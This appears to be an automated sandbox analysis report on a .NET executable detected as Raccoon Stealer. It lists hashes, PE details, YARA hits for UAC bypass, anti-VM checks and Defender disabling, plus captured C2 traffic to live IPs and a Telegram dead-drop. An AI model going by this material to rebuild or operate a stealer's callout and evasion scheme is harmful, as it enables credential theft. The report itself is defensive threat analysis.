Preview:	MDMP....... .......1..a........................(............................0..........`.......8...........T............ ..........................p....................................................................U...........B..............GenuineIntelW...........T.......\......a.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\qpwx2wT5ky.exe.log

Download File

Process:	C:\Users\user\Desktop\qpwx2wT5ky.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.347480285514745
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat92n4M0kvoDLI4MWuCv:ML9E4Ks2wKDE4KhK3VZ9pKhg84jE4Ks
MD5:	C090C3A5090FDB569FD50003722EDAD4
SHA1:	878B12213721F0ED188986C03408AEFBD2F0D1AE
SHA-256:	3D04A30D0B4C7F044488F425F4BBC78573B5AB98B9586A9C99D3760E11ED4955
SHA-512:	157F60DD6B99B500694DFB13A3186E3F253468E03DED8075B9671337E51E89A208FA35E9263B2C0F6460205FEE89481C8EE36FD7BBCE66BB399F1D27BDF82609
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.2740946580710055
Encrypted:	false
SSDEEP:	12288:f+ty5r16YgMk9OszLl2/n1dRQAK7WN+A2wo5lKe85v5tk0GHezT/V:Gty5r16YgMk9OsCd
MD5:	8CE94B0FFC9D2328821B50E5A619DD53
SHA1:	5F11244FC9C2919CD1E345339803F44F06F0EEAF
SHA-256:	FD946DB2798FB9ACA18A737898A1CA66C1BA34B9C6AD92FB637CA39822D6B6E5
SHA-512:	C94F74438963710015DC1CABF57D0E5888EEFC29264EA402DEBD0B4E3AB2245B66E22D0B7295BB7F01A52DAA42F518212C94555344F899C4BEDC732E27FB300D
Malicious:	false
Reputation:	low
Preview:	regfZ...Z...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.......................................................................................................................................................................................................................................................................................................................................................D........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	4.031260608135238
Encrypted:	false
SSDEEP:	384:5r6l5Rftx1HPJ4XYs1Fn87kkPBqXXSeq5QMVyiy+/ql4Lk4jZd1DoXznH7tNAG:56bRftx1vJ4X91F87hBqXCeq5QMVyiyY
MD5:	216E7FDAF7B821B8B2C10D83992D0236
SHA1:	9FDF64BF1DE8E4F7493FBBD25268F6320306BFD1
SHA-256:	218E0B0C02C620819688CA35F8A0A43A10B1424BE922FF80F26A6666976977ED
SHA-512:	5965CC1C9BED17338D274BAECC6282F7B4687223B4F79B5944EDCE537AFB81F4C386FCB79665B2AEC9D358A486511E67263F30AD14604150AE5D39D24DF6DE1B
Malicious:	false
Reputation:	low
Preview:	regfY...Y...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.......................................................................................................................................................................................................................................................................................................................................................DHvLE.^......Y..............r\|..z];..u.vr.........0................... ..hbin................p.\..,..........nk,.Pe...................................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk .Pe.......... ........................... .......Z.......................Root........lf......Root....nk .Pe.......................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.393740189625997
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	qpwx2wT5ky.exe
File size:	1128960
MD5:	c22c0fdbc19dcd4838709bbaca921f56
SHA1:	4cd9280315ce4ff97cdb95d7dd6d8fcb7715f292
SHA256:	d72ff8708ffeb9a95f559828938dc1439884e7c224579127418e285b1aa1d235
SHA512:	207be844380090fdb580bf006dab730643abd4b5a1fafd6d847a2f0831b412294d303399dd23baaf60b47660f326633544fd31ac893acd697bb531767e085943
SSDEEP:	24576:MeMhSdxLmSbEoA7El4dwcfrQRqXRJ6XjH:MeMhSdxL2oAfd3rRXRJ6TH
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S..............0..1...........Q... ...`....@.. ...............................x....@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x51519f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x53871FEE [Thu May 29 11:54:22 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x115084	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x116000	0x3d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x118000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1150ce	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1131a5	0x113200	False	0.837859566674	data	7.39943250791	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x116000	0x3d4	0x400	False	0.392578125	data	3.09213613055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x118000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x116058	0x37c	data

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2017
Assembly Version	1.0.0.0
InternalName	Hospital_project.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	WindowsFormsApplication1
ProductVersion	1.0.0.0
FileDescription	WindowsFormsApplication1
OriginalFilename	Hospital_project.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/29/22-00:12:35.293104	TCP	2034960	ET TROJAN Win32.Raccoon Stealer Checkin M6	80	49814	194.180.174.147	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 29, 2022 00:11:23.264348030 CET	49742	80	192.168.2.3	188.166.1.115
Jan 29, 2022 00:11:23.294958115 CET	80	49742	188.166.1.115	192.168.2.3
Jan 29, 2022 00:11:23.295171022 CET	49742	80	192.168.2.3	188.166.1.115
Jan 29, 2022 00:11:23.297174931 CET	49742	80	192.168.2.3	188.166.1.115
Jan 29, 2022 00:11:23.325984955 CET	80	49742	188.166.1.115	192.168.2.3
Jan 29, 2022 00:11:55.059446096 CET	49742	80	192.168.2.3	188.166.1.115
Jan 29, 2022 00:11:55.220033884 CET	49745	80	192.168.2.3	188.166.1.115
Jan 29, 2022 00:11:55.250454903 CET	80	49745	188.166.1.115	192.168.2.3
Jan 29, 2022 00:11:55.253822088 CET	49745	80	192.168.2.3	188.166.1.115
Jan 29, 2022 00:11:55.254281998 CET	49745	80	192.168.2.3	188.166.1.115
Jan 29, 2022 00:11:55.283435106 CET	80	49745	188.166.1.115	192.168.2.3
Jan 29, 2022 00:12:27.063874006 CET	49745	80	192.168.2.3	188.166.1.115
Jan 29, 2022 00:12:27.067521095 CET	49789	80	192.168.2.3	91.219.236.139
Jan 29, 2022 00:12:30.077579975 CET	49789	80	192.168.2.3	91.219.236.139
Jan 29, 2022 00:12:31.222625017 CET	49799	80	192.168.2.3	91.219.236.139
Jan 29, 2022 00:12:34.218528032 CET	49799	80	192.168.2.3	91.219.236.139
Jan 29, 2022 00:12:35.065468073 CET	49814	80	192.168.2.3	194.180.174.147
Jan 29, 2022 00:12:35.113210917 CET	80	49814	194.180.174.147	192.168.2.3
Jan 29, 2022 00:12:35.115226030 CET	49814	80	192.168.2.3	194.180.174.147
Jan 29, 2022 00:12:35.115562916 CET	49814	80	192.168.2.3	194.180.174.147
Jan 29, 2022 00:12:35.163053036 CET	80	49814	194.180.174.147	192.168.2.3
Jan 29, 2022 00:12:35.293103933 CET	80	49814	194.180.174.147	192.168.2.3
Jan 29, 2022 00:12:35.293160915 CET	80	49814	194.180.174.147	192.168.2.3
Jan 29, 2022 00:12:35.293205023 CET	80	49814	194.180.174.147	192.168.2.3
Jan 29, 2022 00:12:35.293241978 CET	80	49814	194.180.174.147	192.168.2.3
Jan 29, 2022 00:12:35.293246031 CET	49814	80	192.168.2.3	194.180.174.147
Jan 29, 2022 00:12:35.293272018 CET	80	49814	194.180.174.147	192.168.2.3
Jan 29, 2022 00:12:35.293308020 CET	49814	80	192.168.2.3	194.180.174.147
Jan 29, 2022 00:12:35.298744917 CET	49815	80	192.168.2.3	159.223.25.220
Jan 29, 2022 00:12:35.328320026 CET	80	49815	159.223.25.220	192.168.2.3
Jan 29, 2022 00:12:35.328432083 CET	49815	80	192.168.2.3	159.223.25.220
Jan 29, 2022 00:12:35.328999996 CET	49815	80	192.168.2.3	159.223.25.220
Jan 29, 2022 00:12:35.329063892 CET	49815	80	192.168.2.3	159.223.25.220
Jan 29, 2022 00:12:35.343663931 CET	49814	80	192.168.2.3	194.180.174.147
Jan 29, 2022 00:12:35.358330965 CET	80	49815	159.223.25.220	192.168.2.3
Jan 29, 2022 00:12:35.358364105 CET	80	49815	159.223.25.220	192.168.2.3
Jan 29, 2022 00:12:35.528899908 CET	80	49815	159.223.25.220	192.168.2.3
Jan 29, 2022 00:12:35.578156948 CET	49815	80	192.168.2.3	159.223.25.220
Jan 29, 2022 00:12:53.544519901 CET	49814	80	192.168.2.3	194.180.174.147
Jan 29, 2022 00:12:53.544562101 CET	49815	80	192.168.2.3	159.223.25.220

HTTP Request Dependency Graph

188.166.1.115

194.180.174.147

159.223.25.220

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49742	188.166.1.115	80	C:\Windows\SysWOW64\LaunchWinApp.exe

Timestamp	kBytes transferred	Direction	Data
Jan 29, 2022 00:11:23.297174931 CET	823	OUT	GET /hdm3prapor HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: text/plain; charset=UTF-8 Host: 188.166.1.115

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49745	188.166.1.115	80	C:\Windows\SysWOW64\LaunchWinApp.exe

Timestamp	kBytes transferred	Direction	Data
Jan 29, 2022 00:11:55.254281998 CET	846	OUT	GET /hdm3prapor HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: text/plain; charset=UTF-8 Host: 188.166.1.115

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49814	194.180.174.147	80	C:\Windows\SysWOW64\LaunchWinApp.exe

Timestamp	kBytes transferred	Direction	Data
Jan 29, 2022 00:12:35.115562916 CET	9750	OUT	GET /hdm3prapor HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: text/plain; charset=UTF-8 Host: 194.180.174.147
Jan 29, 2022 00:12:35.293103933 CET	9752	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 28 Jan 2022 23:12:35 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: stel_ssid=211f13d22189c86382_14521355821524036754; expires=Sat, 29 Jan 2022 23:12:35 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store Strict-Transport-Security: max-age=35768000 Access-Control-Allow-Origin: * Data Raw: 31 31 39 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 68 64 6d 33 70 72 61 70 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 64 6d 33 70 72 61 70 6f 72 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 74 5f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 54 65 6c 65 67 72 61 6d 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 61 31 39 32 31 59 6c 63 35 6d 45 56 36 36 66 4b 61 66 79 61 6a 66 35 56 2b 38 30 55 56 38 74 4e 56 76 41 3d 3d 33 64 2d 76 33 35 22 3e 0a 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 64 6d 33 70 72 61 70 6f 72 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 74 5f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 54 65 6c 65 67 72 61 6d 22 3e 0a 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 61 6c 3a 69 6f 73 3a 61 70 70 5f 73 74 6f 72 65 5f 69 64 22 20 63 6f 6e 74 65 6e 74 3d 22 36 38 36 34 34 39 38 30 37 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 61 6c 3a 69 6f 73 3a 61 70 70 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 54 65 6c 65 67 72 61 6d 20 4d 65 73 73 65 6e 67 65 72 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 61 6c 3a 69 6f 73 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 74 67 3a 2f 2f 72 65 73 6f 6c 76 65 3f 64 6f 6d 61 69 6e 3d 68 64 6d 33 70 72 61 70 6f 72 22 3e 0a 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 61 6c 3a 61 6e 64 72 6f 69 64 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 74 67 3a 2f 2f 72 65 73 6f 6c 76 65 3f 64 6f 6d 61 69 6e 3d 68 64 6d 33 70 72 61 70 6f 72 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 Data Ascii: 119e<!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @hdm3prapor</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta property="og:title" content="hdm3prapor"><meta property="og:image" content="https://telegram.org/img/t_logo.png"><meta property="og:site_name" content="Telegram"><meta property="og:description" content="a1921Ylc5mEV66fKafyajf5V+80UV8tNVvA==3d-v35"><meta property="twitter:title" content="hdm3prapor"><meta property="twitter:image" content="https://telegram.org/img/t_logo.png"><meta property="twitter:site" content="@Telegram"><meta property="al:ios:app_store_id" content="686449807"><meta property="al:ios:app_name" content="Telegram Messenger"><meta property="al:ios:url" content="tg://resolve?domain=hdm3prapor"><meta property="al:android:url" content="tg://resolve?domain=hdm3prapor"><meta prop
Jan 29, 2022 00:12:35.293160915 CET	9753	IN	Data Raw: 65 72 74 79 3d 22 61 6c 3a 61 6e 64 72 6f 69 64 3a 61 70 70 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 54 65 6c 65 67 72 61 6d 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 61 6c 3a 61 6e 64 72 6f 69 64 3a 70 61 63 6b 61 67 65 22 Data Ascii: erty="al:android:app_name" content="Telegram"><meta property="al:android:package" content="org.telegram.messenger"><meta name="twitter:card" content="summary"><meta name="twitter:site" content="@Telegram"><meta name="twitter:description"
Jan 29, 2022 00:12:35.293205023 CET	9755	IN	Data Raw: 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 63 73 73 2f 74 65 6c 65 67 72 61 6d 2e 63 73 73 3f 32 31 35 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 Data Ascii: heet"> <link href="//telegram.org/css/telegram.css?215" rel="stylesheet" media="screen"> </head> <body> <div class="tgme_page_wrap"> <div class="tgme_head_wrap"> <div class="tgme_head"> <a href="//telegram.
Jan 29, 2022 00:12:35.293241978 CET	9755	IN	Data Raw: 68 64 6d 33 70 72 61 70 6f 72 3c 2f 73 74 72 6f 6e 67 3e 20 72 69 67 68 74 20 61 77 61 79 2e 0a 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 74 67 6d 65 5f Data Ascii: hdm3prapor</strong> right away.</div> </div> </div> <div id="tgme_frame_cont"></div> <script type="text/javascript">var protoUrl = "tg:\/\/resolve?domain=hdm3prapor";if (false) { var iframeContEl = document.getElement
Jan 29, 2022 00:12:35.293272018 CET	9756	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49815	159.223.25.220	80	C:\Windows\SysWOW64\LaunchWinApp.exe

Timestamp	kBytes transferred	Direction	Data
Jan 29, 2022 00:12:35.328999996 CET	9756	OUT	POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: text/plain; charset=UTF-8 Content-Length: 128 Host: 159.223.25.220
Jan 29, 2022 00:12:35.329063892 CET	9756	OUT	Data Raw: 54 37 65 4b 4d 6a 6d 38 49 7a 64 6a 32 2f 70 73 6b 57 46 2f 69 6e 2f 59 37 41 79 30 76 78 77 77 59 6f 70 68 7a 5a 4d 6e 56 66 2f 62 72 59 61 4c 30 79 68 76 4f 31 7a 33 71 6b 78 4a 6b 66 6c 50 6c 7a 33 54 4b 51 5a 32 6c 32 58 2f 75 6b 74 6d 32 6d Data Ascii: T7eKMjm8Izdj2/pskWF/in/Y7Ay0vxwwYophzZMnVf/brYaL0yhvO1z3qkxJkflPlz3TKQZ2l2X/uktm2mhCBZ6jUQjP4dLIkxkWBtVhZvXdV49MhprlyNoT9Oo6rA==
Jan 29, 2022 00:12:35.528899908 CET	9757	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 28 Jan 2022 23:12:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0

Target ID:	0
Start time:	00:12:08
Start date:	29/01/2022
Path:	C:\Users\user\Desktop\qpwx2wT5ky.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\qpwx2wT5ky.exe"
Imagebase:	0xd10000
File size:	1128960 bytes
MD5 hash:	C22C0FDBC19DCD4838709BBACA921F56
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000000.00000002.320185486.000000000468C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_DisableWinDefender, Description: Detects executables containing artifcats associated with disabling Widnows Defender, Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD, Description: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF, Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM, Description: Detects executables embedding command execution via IExecuteCommand COM object, Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste, Description: Detects executables potentially checking for WinJail sandbox window, Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

